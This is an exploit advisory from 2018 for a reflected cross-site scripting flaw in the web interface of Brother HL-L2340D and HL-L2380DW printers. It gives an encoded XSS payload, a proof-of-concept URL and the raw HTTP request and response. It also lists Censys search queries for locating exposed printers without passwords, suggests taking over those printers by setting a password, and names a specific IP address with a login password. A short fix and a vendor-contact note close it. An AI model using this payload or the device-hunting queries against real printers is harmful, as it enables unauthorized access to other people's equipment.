# Exploit Title: [ XSS at Brother HL-L2340D & HL-L2380DW series] # Date: [30.05.2018] # Exploit Author: [Huy Kha] # Vendor Homepage: [http://support.brother.com] # Software Link: [ Website ] # Version: HL-L2340D & HL-L2380DW series # Tested on: Mozilla FireFox # Reflected XSS Payload : "--!>" # Description : Starting searching for printers without having a password. https://censys.io/ipv4?q=HL-L2340D+series https://censys.io/ipv4?q=HL-L2380DW+series When you see a yellow bar with ''Configure the password'' you can take over the full printer by putting a password on it. # PoC : This is a demo website. If you want to execute the XSS you need to be loged into the web interface first. 1. Go to the following url: http://128.12.201.40/ 2. Login with ''HackMe123'' as password 3. Now visit the following parameter: net/net/service_detail.html?service=1&pageid=236 4. The XSS vulnerability exist in the service_detail.html?service=1 parameter. 5. Demo URL: http://128.12.201.40/etc/loginerror.html?url=%2Fnet%2Fnet%2Fservice_detail.html%3Fservice%3D%2522--!%253E%253CSvg%2FOnLoad%3D(confirm)(1)%253E%2522%26pageid%3D241 # Request : GET /etc/loginerror.html?url=%2Fnet%2Fnet%2Fservice_detail.html%3Fservice%3D%2522--!%253E%253CSvg%2FOnLoad%3D(confirm)(1)%253E%2522%26pageid%3D241 HTTP/1.1 Host: 128.12.201.40 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: nl,en-US;q=0.7,en;q=0.3 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 # Response : HTTP/1.1 200 OK Cache-Control: no-cache Content-Length: 3389 Content-Type: text/html Content-Language: nl Connection: close Server: debut/1.20 Pragma: no-cache Brother HL-L2340D series

HL-L2340D series

Log in"&pageid=241"/>

    • Algemeen

# How to fix it? : This has nothing to do with which version you use. Ofcourse I'll suggest you to update it to the latest version, but if you want to fix it. Put a strong password on the printer webinterface. # Note: The vendor has been contacted on 30-5-2018. Kind regards, Huy Kha https://twitter.com/huykha10 linkedin.com/in/huykha